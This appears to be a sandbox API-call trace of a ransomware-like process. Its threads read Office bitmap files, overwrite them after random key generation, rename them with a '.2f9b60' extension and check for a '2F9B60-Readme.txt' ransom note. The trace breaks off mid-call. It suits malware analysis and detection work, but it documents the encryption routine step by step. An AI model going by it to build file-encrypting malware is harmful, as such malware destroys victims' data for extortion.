RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061ab0) returned 1 [0140.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0140.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7880) returned 1 [0140.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d30 [0140.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061ab0 [0140.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7880 [0140.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7880) returned 1 [0140.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4221e530 [0140.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42222140 [0140.461] ReadFile (in: hFile=0x1f04, lpBuffer=0x4221e530, nNumberOfBytesToRead=0x838, lpNumberOfBytesRead=0x2c69f510, lpOverlapped=0x0 | out: lpBuffer=0x4221e530*, lpNumberOfBytesRead=0x2c69f510*=0x838, lpOverlapped=0x0) returned 1 [0140.461] SetFilePointerEx (in: hFile=0x1f04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.462] WriteFile (in: hFile=0x1f04, lpBuffer=0x42222140*, nNumberOfBytesToWrite=0x838, lpNumberOfBytesWritten=0x2c69f514, lpOverlapped=0x0 | out: lpBuffer=0x42222140*, lpNumberOfBytesWritten=0x2c69f514*=0x838, lpOverlapped=0x0) returned 1 [0140.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674d0 [0140.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202675c0 [0140.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202675c0) returned 1 [0140.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42222140) returned 1 [0140.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4221e530) returned 1 [0140.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061ab0) returned 1 [0140.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0140.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f570 [0140.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d30 [0140.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061ab0 [0140.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202675c0 [0140.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202675c0) returned 1 [0140.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f630 [0140.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202675c0 [0140.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0140.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266de0) returned 1 [0140.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061ab0) returned 1 [0140.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0140.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x166ce0 [0140.907] SetFilePointerEx (in: hFile=0x1f04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.907] WriteFile (in: hFile=0x1f04, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2c69f630, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2c69f630*=0x112, lpOverlapped=0x0) returned 1 [0140.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166ce0) returned 1 [0140.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0140.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202675c0) returned 1 [0140.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f570) returned 1 [0140.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674d0) returned 1 [0140.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6320) returned 1 [0140.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a600) returned 1 [0140.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b320) returned 1 [0140.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b863010 [0140.979] wcscpy (in: _Dest=0x1b863010, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp" [0140.979] wcscat (in: _Dest=0x1b863010, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp.2f9b60" [0140.979] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp.2f9b60", NtPathName=0x2c69f650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0140.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205e320 [0140.980] NtSetInformationFile (FileHandle=0x1f04, IoStatusBlock=0x2c69f6f0, FileInformation=0x4205e320, Length=0xc4, FileInformationClass=0xa) returned 0x0 [0145.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e320) returned 1 [0145.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fc810) returned 1 [0145.427] NtQueryInformationFile (in: FileHandle=0x1f04, IoStatusBlock=0x2c69f6b8, FileInformation=0x2c69f6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c69f6b8, FileInformation=0x2c69f6c8) returned 0x0 [0145.427] NtSetInformationFile (FileHandle=0x1f04, IoStatusBlock=0x2c69f6b8, FileInformation=0x2c69f6c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863010) returned 1 [0145.432] FlushFileBuffers (hFile=0x1f04) returned 1 [0145.445] CloseHandle (hObject=0x1f04) returned 1 [0145.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b863010 [0145.445] wcscpy (in: _Dest=0x1b863010, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.445] wcscat (in: _Dest=0x1b863010, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863010) returned 1 [0147.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d370) returned 1 Thread: id = 1879 os_tid = 0x101c [0133.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimages256colors.bmp")) returned 0x20 [0136.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp", dwFileAttributes=0x20) returned 1 [0138.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimages256colors.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fb4 [0142.084] GetFileSizeEx (in: hFile=0x1fb4, lpFileSize=0x2c71f820 | out: lpFileSize=0x2c71f820*=3896) returned 1 [0142.084] SetFilePointerEx (in: hFile=0x1fb4, liDistanceToMove=0xf34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.084] ReadFile (in: hFile=0x1fb4, lpBuffer=0x2c71f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c71f7e8, lpOverlapped=0x0 | out: lpBuffer=0x2c71f7a0*, lpNumberOfBytesRead=0x2c71f7e8*=0x4, lpOverlapped=0x0) returned 1 [0142.127] SetFilePointerEx (in: hFile=0x1fb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe830 [0142.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe8c0 [0142.127] NtQuerySystemTime (in: CurrentTime=0x2c71f6e0 | out: CurrentTime=0x2c71f6e0*=132462177473650000) returned 0x0 [0142.127] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x3c95f53a [0142.127] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x2c8c4aa6 [0142.127] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x26f74d3d [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x1a5dc167 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x2b1ae208 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x49478e50 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x8d32c39 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x6ca4da7c [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x3bab4a67 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x25243a78 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x2fd467a1 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x1d88317 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x57f2887b [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x72b494c2 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x4448dfd6 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0xb117ad4 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x3926a20 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x7bedcd69 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x6c3b4f80 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x37631a92 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x3e9021f5 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x4d24f2cb [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x6b189ad9 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x6ba8b03d [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x43267022 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x63d468b4 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x2b43fc36 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x5bc384b4 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x4119edc8 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x39346bb6 [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x203d984c [0142.128] RtlRandomEx (in: Seed=0x2c71f6d0 | out: Seed=0x2c71f6d0) returned 0x21f7868 [0142.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe8f0 [0142.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0142.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe920 [0142.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0142.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe8c0) returned 1 [0142.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591f0 [0142.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0142.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42225d50 [0142.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42231180 [0142.142] ReadFile (in: hFile=0x1fb4, lpBuffer=0x42225d50, nNumberOfBytesToRead=0xf38, lpNumberOfBytesRead=0x2c71f6d0, lpOverlapped=0x0 | out: lpBuffer=0x42225d50*, lpNumberOfBytesRead=0x2c71f6d0*=0xf38, lpOverlapped=0x0) returned 1 [0142.142] SetFilePointerEx (in: hFile=0x1fb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.142] WriteFile (in: hFile=0x1fb4, lpBuffer=0x42231180*, nNumberOfBytesToWrite=0xf38, lpNumberOfBytesWritten=0x2c71f6d4, lpOverlapped=0x0 | out: lpBuffer=0x42231180*, lpNumberOfBytesWritten=0x2c71f6d4*=0xf38, lpOverlapped=0x0) returned 1 [0143.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcf0 [0143.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0143.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0143.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42231180) returned 1 [0143.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42225d50) returned 1 [0143.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0143.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0143.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd86610 [0143.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591f0 [0143.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0143.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0143.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0143.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd86130 [0143.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0143.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265490 [0143.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265490) returned 1 [0143.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0143.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0143.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12e) returned 0x188990 [0143.323] SetFilePointerEx (in: hFile=0x1fb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.323] WriteFile (in: hFile=0x1fb4, lpBuffer=0x188990*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2c71f7f0, lpOverlapped=0x0 | out: lpBuffer=0x188990*, lpNumberOfBytesWritten=0x2c71f7f0*=0x12e, lpOverlapped=0x0) returned 1 [0143.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188990) returned 1 [0143.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86130) returned 1 [0143.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0143.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86610) returned 1 [0143.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcf0) returned 1 [0143.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe830) returned 1 [0143.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe8f0) returned 1 [0143.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe920) returned 1 [0143.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4205ec10 [0143.551] wcscpy (in: _Dest=0x4205ec10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp" [0143.551] wcscat (in: _Dest=0x4205ec10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp.2f9b60" [0143.551] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp.2f9b60", NtPathName=0x2c71f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe0) returned 0x1ceb5210 [0143.551] NtSetInformationFile (FileHandle=0x1fb4, IoStatusBlock=0x2c71f8b0, FileInformation=0x1ceb5210, Length=0xe0, FileInformationClass=0xa) returned 0x0 [0145.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb5210) returned 1 [0145.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052510) returned 1 [0145.336] NtQueryInformationFile (in: FileHandle=0x1fb4, IoStatusBlock=0x2c71f878, FileInformation=0x2c71f888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c71f878, FileInformation=0x2c71f888) returned 0x0 [0145.336] NtSetInformationFile (FileHandle=0x1fb4, IoStatusBlock=0x2c71f878, FileInformation=0x2c71f888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ec10) returned 1 [0145.352] FlushFileBuffers (hFile=0x1fb4) returned 1 [0145.357] CloseHandle (hObject=0x1fb4) returned 1 [0145.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce10bb0 [0145.362] wcscpy (in: _Dest=0x1ce10bb0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.362] wcscat (in: _Dest=0x1ce10bb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10bb0) returned 1 [0147.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107f00) returned 1 Thread: id = 1880 os_tid = 0x1020 [0133.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimagesmask256colors.bmp")) returned 0x20 [0134.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp", dwFileAttributes=0x20) returned 1 [0137.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimagesmask256colors.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1af4 [0141.093] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2c2cf780 | out: lpFileSize=0x2c2cf780*=1344) returned 1 [0141.093] SetFilePointerEx (in: hFile=0x1af4, liDistanceToMove=0x53c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.093] ReadFile (in: hFile=0x1af4, lpBuffer=0x2c2cf700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c2cf748, lpOverlapped=0x0 | out: lpBuffer=0x2c2cf700*, lpNumberOfBytesRead=0x2c2cf748*=0x4, lpOverlapped=0x0) returned 1 [0141.111] SetFilePointerEx (in: hFile=0x1af4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc00 [0141.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdba0 [0141.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb10 [0141.112] NtQuerySystemTime (in: CurrentTime=0x2c2cf640 | out: CurrentTime=0x2c2cf640*=132462177463510000) returned 0x0 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x4c217feb [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x19ccf243 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0xfe5f508 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x2b6e5bd8 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x716eda50 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x50880c50 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x417502c9 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x6cb0aad4 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x1e45f362 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x506a5f8e [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x728bdd28 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x7961dd90 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x2a3519a8 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x53a73ef8 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x1dca0948 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0xc8933b0 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x596968f9 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x6c235f8e [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x2b0bf027 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x2ef37797 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x7bed4132 [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x25e44d [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x3b10ad1c [0141.112] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x3797fd5 [0141.113] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x1d0132f3 [0141.113] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x7c887e41 [0141.113] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x3e2ef954 [0141.113] RtlRandomEx (in: Seed=0x2c2cf630 | out: Seed=0x2c2cf630) returned 0x2e6e40a3 [0141.113] RtlRandomEx (in: 